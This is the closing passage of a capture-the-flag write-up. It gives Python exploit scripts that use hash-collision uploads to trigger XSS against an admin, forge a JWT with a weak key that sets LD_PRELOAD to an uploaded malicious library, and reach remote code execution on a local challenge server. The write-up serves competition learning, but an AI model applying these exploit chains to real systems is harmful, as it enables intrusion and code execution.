    r = session.post(url, json=json_data)
    print(r.text)

input_file = "in.bin"
# collision files
collision1 = "./in_msg1.bin"
collision2 = "./in_msg2.bin"

# save html payload to file
with open(input_file, 'w') as fd:
    fd.write(HTML_PAYLOAD)
    
create_collision_files(input_file, collision1, collision2)

# Register and upload the first file
username = random_username()
with open(collision1, 'rb') as file1:
    session = register(username, file1)
    user_id = get_user_id(session)
    print("User ID:", user_id)

# Upload the second file to trigger the collision
guesser_session, guesser_id, guess_id = html_file_upload(user_id, collision2)

# Report to trigger XSS
report_xss(session, guesser_id, guess_id)

Now that we have obtained the admin's username and display_name, we can exploit the error in the register function to acquire a signed, tampered token and then trigger the RCE. The process is nearly identical to the methods described in challenge solution paths 1 and 2; however, in this scenario, rather than using a race condition or null-byte technique, we trigger the error simply by registering a new account with the same username and display_name as the admin.

import requests, random, string, jwt

BASE_URL = "http://localhost:5555"
# we don't need to put the admin username to lowercase 
# since the register function will do that for us
ADMIN_USERNAME = "Admin-6b3af7f0-0bac-4acf-b436-52e05875ddab"
ADMIN_DISPLAY_NAME = "6defd446-77ea-459a-89ba-99041ac65c9b"

def register(username, display_name, file, cookie=None):
  session = requests.session()
  url = BASE_URL + "/register"

  data = {
    "username": username,
    "display_name": display_name,
    "password": "abc"
  }
  files = {
    "flag": ("flag.txt", file, "text/plain")
  }

  session.post(url, data=data, files=files, cookies=cookie, allow_redirects=False)
  encoded_jwt = session.cookies.get("session")
  decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
  if(decoded['properties'].get('LD_PRELOAD')):
      print("set-cookie: ", decoded)
      print("signed_tampered_cookie: ", encoded_jwt)
  
  return session

# upload the malicious library and retrieve a valid UserID
with open("evil.so", 'rb') as lib_file:
    username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
    sess = register(username, "abc", lib_file)
    encoded_jwt = sess.cookies.get("session")
    decoded = jwt.decode(encoded_jwt, options={"verify_signature": False})
    user_id = decoded['user_id']

payload = {
  "user_id": user_id,
  "username": username,
  "user_kind": 0,
  "properties": {
    "LD_PRELOAD": f"/app/userdata/{user_id}/flag.txt",
    "display_name": "abc"
  },
  "logged_in": True
}

tampered_token = jwt.encode(payload, "secret_key", algorithm='HS256')
cookie = {"session": tampered_token}

with open("evil.so", 'rb') as lib_file:
    # register using the admin's username and display_name
    register(ADMIN_USERNAME, ADMIN_DISPLAY_NAME, lib_file, cookie)

Finally, visit the /api/certificate endpoint with the retrieved signed tampered token to trigger the RCE.


Conclusion

Thanks for making it through this writeup, I hope you got something out of it. Big thanks to the challenge author as well; I really liked that there were so many different paths to solve this one (even if some were unintentional 🔥). It made the whole experience a lot more fun and interesting!

~ @uncavohdmi